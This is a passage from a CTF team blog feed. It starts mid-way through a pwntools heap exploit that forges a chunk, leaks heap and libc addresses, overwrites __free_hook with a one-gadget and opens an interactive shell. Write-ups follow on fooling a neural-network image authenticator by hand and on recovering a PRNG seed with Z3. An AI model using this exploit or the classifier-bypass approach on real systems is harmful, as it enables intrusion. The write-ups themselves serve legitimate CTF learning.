</span></span><span style="display:flex;"><span>    p.sendline(<span style="color:#fc6a5d">&#34;0&#34;</span>) <span style="color:#6c7986">#binary</span>
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;: &#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(val)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34; &gt;&gt; </span><span style="color:#fc6a5d">%d</span><span style="color:#fc6a5d"> created&#34;</span> % idx
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">delete</span>(idx):
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(<span style="color:#fc6a5d">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;: &#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(<span style="color:#d0a8ff">str</span>(idx))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">edit</span>(idx, val, b=<span style="color:#fc6a5d">&#34;1&#34;</span>):
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(<span style="color:#fc6a5d">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;: &#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(<span style="color:#d0a8ff">str</span>(idx))
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;: &#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(b) <span style="color:#6c7986">#string</span>
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;: &#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(val)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">print_one</span>(idx):
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(<span style="color:#fc6a5d">&#34;5&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;: &#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(<span style="color:#d0a8ff">str</span>(idx))
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvline(<span style="color:#fc5fa3">False</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;: &#34;</span>)
</span></span><span style="display:flex;"><span>    r = p.recvuntil(<span style="color:#fc6a5d">&#34;-----***-----&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> r
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> r
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">change_key</span>(k):
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(<span style="color:#fc6a5d">&#34;7&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;: &#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(k)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;: &#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(k)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;key: &#34;</span>)
</span></span><span style="display:flex;"><span>p.sendline(<span style="color:#fc6a5d">&#34;wjigaep;r[jg]ahrg[es9hrg&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> sys.argv[<span style="color:#d0bf69">1</span>] == <span style="color:#fc6a5d">&#34;crash&#34;</span>: <span style="color:#6c7986">#use offsets in dump to discover the libc version</span>
</span></span><span style="display:flex;"><span>    create(<span style="color:#d0bf69">0</span>,<span style="color:#d0bf69">24</span>)
</span></span><span style="display:flex;"><span>    create(<span style="color:#d0bf69">1</span>,<span style="color:#d0bf69">24</span>)
</span></span><span style="display:flex;"><span>    edit(<span style="color:#d0bf69">0</span>, <span style="color:#fc6a5d">&#34;a&#34;</span>*<span style="color:#d0bf69">24</span>)
</span></span><span style="display:flex;"><span>    delete(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvall()
</span></span><span style="display:flex;"><span>    p.close()
</span></span><span style="display:flex;"><span>    sys.exit(<span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">### PHASE 1 - CRAFT FAKE CHUNCK ###</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>master_k = <span style="color:#d0bf69">0x06020A0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>fake_chunk_addr = master_k -<span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span>fake_chunk_from_size = p64(<span style="color:#d0bf69">0</span>) + p64(fake_chunk_addr) + p64(fake_chunk_addr)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>change_key(fake_chunk_from_size)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34; &gt;&gt; fake chunck addr: &#34;</span> + <span style="color:#d0a8ff">hex</span>(fake_chunk_addr)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">### PHASE 2 - HEAP LEAK ###</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>create(<span style="color:#d0bf69">2</span>,<span style="color:#d0bf69">24</span>)
</span></span><span style="display:flex;"><span>create(<span style="color:#d0bf69">3</span>,<span style="color:#d0bf69">248</span>, val=<span style="color:#fc6a5d">&#34;BBB&#34;</span>)
</span></span><span style="display:flex;"><span>create(<span style="color:#d0bf69">4</span>,<span style="color:#d0bf69">24</span>)
</span></span><span style="display:flex;"><span>delete(<span style="color:#d0bf69">2</span>)
</span></span><span style="display:flex;"><span>delete(<span style="color:#d0bf69">4</span>)
</span></span><span style="display:flex;"><span>create(<span style="color:#d0bf69">4</span>,<span style="color:#d0bf69">24</span>, val=<span style="color:#fc6a5d">&#34;&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>heap_leak = <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\x20</span><span style="color:#fc6a5d">&#34;</span> + print_one(<span style="color:#d0bf69">4</span>)[<span style="color:#d0bf69">1</span>:<span style="color:#d0bf69">8</span>]
</span></span><span style="display:flex;"><span>first_addr = u64(heap_leak)
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34; &gt;&gt; first addr: &#34;</span> + <span style="color:#d0a8ff">hex</span>(first_addr)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>second_addr = first_addr + <span style="color:#d0bf69">32</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">### PHASE 3 - PREPARE FAKE CHUNCK ###</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>create(<span style="color:#d0bf69">2</span>,<span style="color:#d0bf69">24</span>, val=<span style="color:#fc6a5d">&#34;AAAA&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>create(<span style="color:#d0bf69">7</span>,<span style="color:#d0bf69">0</span>, val=<span style="color:#fc6a5d">&#34;&#34;</span>) <span style="color:#6c7986">#clear fake_chunk[0]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">### PHASE 4 - OFF BY ONE OVERFLOW ###</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>off = fake_chunk_addr - (second_addr -<span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34; &gt;&gt;&gt; new prev_size: &#34;</span> + <span style="color:#d0a8ff">hex</span>(-off)
</span></span><span style="display:flex;"><span>edit(<span style="color:#d0bf69">2</span>,<span style="color:#fc6a5d">&#34;a&#34;</span>*<span style="color:#d0bf69">16</span>+p64(-off))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>delete(<span style="color:#d0bf69">3</span>) <span style="color:#6c7986">#trigger</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">### PHASE 5 - MALLOC RETURN FAKE_CHUNK + 16 ###</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>fake_chunk_from_size = p64(<span style="color:#d0bf69">0x100</span>) + p64(fake_chunk_addr) + p64(fake_chunk_addr)
</span></span><span style="display:flex;"><span>change_key(fake_chunk_from_size)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>create(<span style="color:#d0bf69">3</span>, <span style="color:#d0bf69">248</span> , val=<span style="color:#fc6a5d">&#34;&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>forged = fake_chunk_addr + <span style="color:#d0bf69">16</span> <span style="color:#6c7986">#now 3 is master_k+8</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">### PHASE 5 - LIBC LEAK FROM ARENA ###</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>libc_leak = print_one(<span style="color:#d0bf69">3</span>)[:<span style="color:#d0bf69">8</span>]
</span></span><span style="display:flex;"><span>libc_addr = u64(libc_leak) - <span style="color:#d0bf69">0x3c4b0a</span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34; &gt;&gt; libc addr: &#34;</span> + <span style="color:#d0a8ff">hex</span>(libc_addr)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ptr_2 = <span style="color:#d0bf69">0x00602068</span> + (<span style="color:#d0bf69">2</span>+<span style="color:#d0bf69">0xa</span>)*<span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34; &gt;&gt; ptr secret 2: &#34;</span> + <span style="color:#d0a8ff">hex</span>(ptr_2)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>libc = ELF(<span style="color:#fc6a5d">&#34;libc6_2.23-0ubuntu10_amd64.so&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">### PHASE 6 - REWRITE POINTER WITH FREE_HOOK ###</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#d0bf69">3</span>, <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\0</span><span style="color:#fc6a5d">&#34;</span>*(ptr_2 - forged) + p64(libc_addr + libc.symbols[<span style="color:#fc6a5d">&#34;__free_hook&#34;</span>]), b=<span style="color:#fc6a5d">&#34;0&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">### PHASE 7- WRITE THE ONE CALL GADGET ADDRESS IN FREE_HOOK ###</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>magic = libc_addr + <span style="color:#d0bf69">0x0000000004526a</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#d0bf69">2</span>, p64(magic), b=<span style="color:#fc6a5d">&#34;0&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">### PHASE 8 - PWN ###</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>delete(<span style="color:#d0bf69">7</span>) <span style="color:#6c7986">#WIN</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p.interactive()
</span></span></code></pre></div>]]></content></item><item><title>AceBear Security Contest - imageauth</title><link>https://theromanxpl0.it/posts/2018/01/acebear-security-contest-imageauth/</link><pubDate>Sun, 28 Jan 2018 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2018/01/acebear-security-contest-imageauth/</guid><description>&lt;h2 id="challenge-description">Challenge description&lt;/h2>
&lt;p>Authentication with password is sooooooo yesterday.&lt;/p>
&lt;p>Challenge files: &lt;a href="https://drive.google.com/open?id=1jn_dbPceBITjBePxVG4TVI2c7Lj-3jiO">Link&lt;/a>&lt;/p>
&lt;p>Authenticate at: &lt;a href="http://gudluck.h4ve.fun:8001/">http://gudluck.h4ve.fun:8001/&lt;/a>&lt;/p>
&lt;h2 id="solution">Solution&lt;/h2>
&lt;p>We can upload images to the server that with classify them with a neural network.&lt;/p>
&lt;p>We have to submit an image that has a gud_prob &amp;gt; 0.99.&lt;/p>
&lt;p>We are given the source code.&lt;/p>
&lt;p>There is a lot of literature (research papers) about the subject of visualizing or even reversing a neural network, but I didn&amp;rsquo;t find something easy to use.&lt;/p></description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge description</h2>
<p>Authentication with password is sooooooo yesterday.</p>
<p>Challenge files: <a href="https://drive.google.com/open?id=1jn_dbPceBITjBePxVG4TVI2c7Lj-3jiO">Link</a></p>
<p>Authenticate at: <a href="http://gudluck.h4ve.fun:8001/">http://gudluck.h4ve.fun:8001/</a></p>
<h2 id="solution">Solution</h2>
<p>We can upload images to the server that with classify them with a neural network.</p>
<p>We have to submit an image that has a gud_prob &gt; 0.99.</p>
<p>We are given the source code.</p>
<p>There is a lot of literature (research papers) about the subject of visualizing or even reversing a neural network, but I didn&rsquo;t find something easy to use.</p>
<p>Armed with ingenuity I decided to do it by hand.</p>
<p>Deploy the service locally and add a couple of debugging logs</p>
<ul>
<li>weights of various layers</li>
<li>output values</li>
<li>normalized image</li>
</ul>
<p>At first I tried with some simple images like pure white and pure black, and get a gud_prob of around 0.5-0.6.</p>
<p>I noticed that in the normalized white image there were some different values for the different colour channels of the image.</p>
<p>I took note of the ratios and made an image filled with a colour that respected those ratios (dark grey) and got a gud_prob of 10 ^ -40 and every value in the normalized image was negative.</p>
<p>So I conjectured that the image had to be overall somewhat bright (mostly positive values).</p>
<p>I inverted the colour and got a score of 0.7.</p>
<p>I then tried to play with the scoring system one paint stroke at a time.</p>
<p>After each edit we submit and observe the change in the score, decide if we want to revert and the next edit.</p>
<h2 id="the-final-result">The final result</h2>
<p>It doesn&rsquo;t work every time, but one time is enough.</p>
<img class="img-responsive" src="/acebear/black.png" alt="Custom image of red and white shapes on grey background, with blue dot within one red shape, that successfully bypassed neural network authentication with 0.99 score" width="224" height="224">
]]></content></item><item><title>Insomnihack Teaser 2018 - Rule86</title><link>https://theromanxpl0.it/posts/2018/01/insomnihack-teaser-2018-rule86/</link><pubDate>Wed, 24 Jan 2018 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2018/01/insomnihack-teaser-2018-rule86/</guid><description>&lt;h2 id="why">Why&lt;/h2>
&lt;p>There are already couple writeups available, so I just want to show a different approach to this challenge. I will not discuss the first part of this challenge since it has been explained before.&lt;/p>
&lt;p>The writeup is kind of long, but it doesn&amp;rsquo;t take much time or effort to use these ideas during a competition.&lt;/p>
&lt;p>After we have obtained the decrypted python script and gif, we have to obtain the seed of the PRNG.&lt;/p></description><content type="html"><![CDATA[<h2 id="why">Why</h2>
<p>There are already couple writeups available, so I just want to show a different approach to this challenge. I will not discuss the first part of this challenge since it has been explained before.</p>
<p>The writeup is kind of long, but it doesn&rsquo;t take much time or effort to use these ideas during a competition.</p>
<p>After we have obtained the decrypted python script and gif, we have to obtain the seed of the PRNG.</p>
<p>The algorithm is quite simple.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>RULE = [<span style="color:#d0bf69">86</span> &gt;&gt; i &amp; <span style="color:#d0bf69">1</span> <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">8</span>)]
</span></span><span style="display:flex;"><span>N_BYTES = <span style="color:#d0bf69">32</span>
</span></span><span style="display:flex;"><span>N = <span style="color:#d0bf69">8</span> * N_BYTES
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">next</span>(x):
</span></span><span style="display:flex;"><span>  x = (x &amp; <span style="color:#d0bf69">1</span>) &lt;&lt; N+<span style="color:#d0bf69">1</span> | x &lt;&lt; <span style="color:#d0bf69">1</span> | x &gt;&gt; N-<span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>  y = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(N):
</span></span><span style="display:flex;"><span>    y |= RULE[(x &gt;&gt; i) &amp; <span style="color:#d0bf69">7</span>] &lt;&lt; i
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> y
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># Bootstrap the PNRG</span>
</span></span><span style="display:flex;"><span>keystream = <span style="color:#d0a8ff">int</span>.from_bytes(args.key.encode(),<span style="color:#fc6a5d">&#39;little&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(N//<span style="color:#d0bf69">2</span>):
</span></span><span style="display:flex;"><span>  <span style="color:#d0a8ff">print</span>(i)
</span></span><span style="display:flex;"><span>  keystream = <span style="color:#d0a8ff">next</span>(keystream)
</span></span></code></pre></div><p>At the time of writing, every writeup focuses on <em>reversing</em> the <code>next</code> function.
However there is a trick that can be used to find preimages for similar simple algorithms which does not require to a lot of understanding of the algorithm to reverse.</p>
<p>The idea is that we can use a SAT or SMT solver to find the preimage of a function. We will use <a href="https://github.com/Z3Prover/z3">Z3</a>.</p>
<p>So we rewrite each function to take an expression and output an expression.</p>
<h2 id="rewriting-the-functions">Rewriting the functions</h2>
<p>For function <code>next</code> we take an array of booleans (z3.Bool) which represent the bits of the seed with the least significant bit in <code>x[0]</code> and the most significant bit in <code>x[-1]</code></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">next</span>(x):
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986"># we translate the bit operations</span>
</span></span><span style="display:flex;"><span>    x = [x[-<span style="color:#d0bf69">1</span>]] + x + [x[<span style="color:#d0bf69">0</span>]]
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986"># we convert RULE to a function that takes 3 bits</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> [RULE(x[i + <span style="color:#d0bf69">2</span>], x[i + <span style="color:#d0bf69">1</span>], x[i]) <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">256</span>)]
</span></span></code></pre></div><p>For RULE we take the <a href="https://en.wikipedia.org/wiki/Truth_table">truth table</a> associated with the array and write its associated boolean function in <a href="https://en.wikipedia.org/wiki/Disjunctive_normal_form">disjunctive normal form</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">RULE</span>(x, y, z):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> Or(
</span></span><span style="display:flex;"><span>        And(Not(x), Not(y), z), <span style="color:#6c7986"># 001 = 1 -&gt; 1</span>
</span></span><span style="display:flex;"><span>        And(Not(x), y, Not(z)), <span style="color:#6c7986"># 010 = 2 -&gt; 1</span>
</span></span><span style="display:flex;"><span>        And(x, Not(y), Not(z)), <span style="color:#6c7986"># 100 = 4 -&gt; 1</span>
</span></span><span style="display:flex;"><span>        And(x, y, Not(z))       <span style="color:#6c7986"># 110 = 6 -&gt; 1</span>
</span></span><span style="display:flex;"><span>    )
</span></span></code></pre></div><p>Now we just need to obtain the constraits.
We create a Solver, an array of 256 Bools to model our <del>64</del> 32 byte integer and we save the expression for the output of next.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>s = Solver()
</span></span><span style="display:flex;"><span>seed = [Bool(<span style="color:#fc6a5d">&#39;seed[</span><span style="color:#fc6a5d">{}</span><span style="color:#fc6a5d">]&#39;</span>.format(i)) <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">256</span>)]
</span></span><span style="display:flex;"><span>next_value = <span style="color:#d0a8ff">next</span>(seed)
</span></span></code></pre></div><p>We set as a target the first known output value of the PRNG.
Since we want to know the preimage of this value, we add constraints for bit to bit equality to <code>next_value</code>.
If the constraints are satisfiable we get a model (some concrete values for each of the variables we defined) for these constraints and then convert the bits to an integer</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>target = <span style="color:#d0bf69">37450399269036614778703305999225837723915454186067915626747458322635448226786</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">256</span>):
</span></span><span style="display:flex;"><span>        bit = ((<span style="color:#d0bf69">1</span> &lt;&lt; j) &amp; target) &gt;= <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>        s.add(next_value[j] == bit)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> s.check() == sat:
</span></span><span style="display:flex;"><span>        m = s.model()
</span></span><span style="display:flex;"><span>        ans = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">256</span>):
</span></span><span style="display:flex;"><span>            ans |= (<span style="color:#d0bf69">1</span> <span style="color:#fc5fa3">if</span> m[seed[j]] <span style="color:#fc5fa3">else</span> <span style="color:#d0bf69">0</span>) &lt;&lt; j
</span></span></code></pre></div><p>We just repeat this process 128 times to get the original seed and print the flag</p>
<h2 id="putting-it-all-together">Putting it all together</h2>
<h3 id="final-notes">Final notes</h3>
<ul>
<li>we actually can reverse multiple applications of the <code>next</code> function just by calling multiple time <code>next</code></li>
<li>we actually may <em>want</em> to do this since next is actually <strong>not injective</strong> (another plus of SAT and SMT solvers is that we can and proved this <code>next(0x73245e28a24b91090a0967c212e2496612c42512e29c0a224945c428b0b39271) == next(0x892814514904a727172102ce41492116429c8a41442f14c922829c50b08490a)</code>)</li>
<li>however notice that if you compute too many iterations at the same time, you kill performance</li>
<li>if we had used more of the SMT features that z3 offers, we could have almost copy pasted the original code</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> z3 <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> binascii <span style="color:#fc5fa3">import</span> unhexlify
</span></span><span style="display:flex;"><span>s = Solver()
</span></span><span style="display:flex;"><span>seed = [Bool(<span style="color:#fc6a5d">&#39;seed[</span><span style="color:#fc6a5d">{}</span><span style="color:#fc6a5d">]&#39;</span>.format(i)) <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">256</span>)]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">RULE</span>(x, y, z):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> Or(
</span></span><span style="display:flex;"><span>        And(Not(x), Not(y), z), <span style="color:#6c7986"># 001 = 1 -&gt; 1</span>
</span></span><span style="display:flex;"><span>        And(Not(x), y, Not(z)), <span style="color:#6c7986"># 010 = 2 -&gt; 1</span>
</span></span><span style="display:flex;"><span>        And(x, Not(y), Not(z)), <span style="color:#6c7986"># 100 = 4 -&gt; 1</span>
</span></span><span style="display:flex;"><span>        And(x, y, Not(z))       <span style="color:#6c7986"># 110 = 6 -&gt; 1</span>
</span></span><span style="display:flex;"><span>    )
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">next</span>(x):
</span></span><span style="display:flex;"><span>    x = [x[-<span style="color:#d0bf69">1</span>]] + x + [x[<span style="color:#d0bf69">0</span>]]
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> [RULE(x[i + <span style="color:#d0bf69">2</span>], x[i + <span style="color:#d0bf69">1</span>], x[i]) <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">256</span>)]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>target = <span style="color:#d0bf69">37450399269036614778703305999225837723915454186067915626747458322635448226786</span>
</span></span><span style="display:flex;"><span>next_value = seed
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>steps = <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(steps):
</span></span><span style="display:flex;"><span>    next_value = <span style="color:#d0a8ff">next</span>(next_value)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">128</span> // steps):
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># take a snapshots of the solver constraints</span>
</span></span><span style="display:flex;"><span>    s.push()
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">256</span>):
</span></span><span style="display:flex;"><span>        bit = ((<span style="color:#d0bf69">1</span> &lt;&lt; j) &amp; target) &gt;= <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>        s.add(next_value[j] == bit)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> s.check() == sat:
</span></span><span style="display:flex;"><span>        m = s.model()
</span></span><span style="display:flex;"><span>        ans = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">256</span>):
</span></span><span style="display:flex;"><span>            ans |= (<span style="color:#d0bf69">1</span> <span style="color:#fc5fa3">if</span> m[seed[j]] <span style="color:#fc5fa3">else</span> <span style="color:#d0bf69">0</span>) &lt;&lt; j
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986"># renew the target</span>
</span></span><span style="display:flex;"><span>        target = ans
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> <span style="color:#fc6a5d">&#39;INS&#39;</span> in unhexlify(<span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">%064x</span><span style="color:#fc6a5d">&#39;</span> % ans)[::-<span style="color:#d0bf69">1</span>]:
</span></span><span style="display:flex;"><span>            <span style="color:#d0a8ff">print</span>(<span style="color:#d0a8ff">repr</span>(unhexlify(<span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">%064x</span><span style="color:#fc6a5d">&#39;</span> % ans)[::-<span style="color:#d0bf69">1</span>]))
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># restore the snapshot</span>
</span></span><span style="display:flex;"><span>    s.pop()
</span></span></code></pre></div><h3 id="next-is-not-injective-eg-not-invertible">next is not injective (e.g. not invertible)</h3>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>s = Solver()
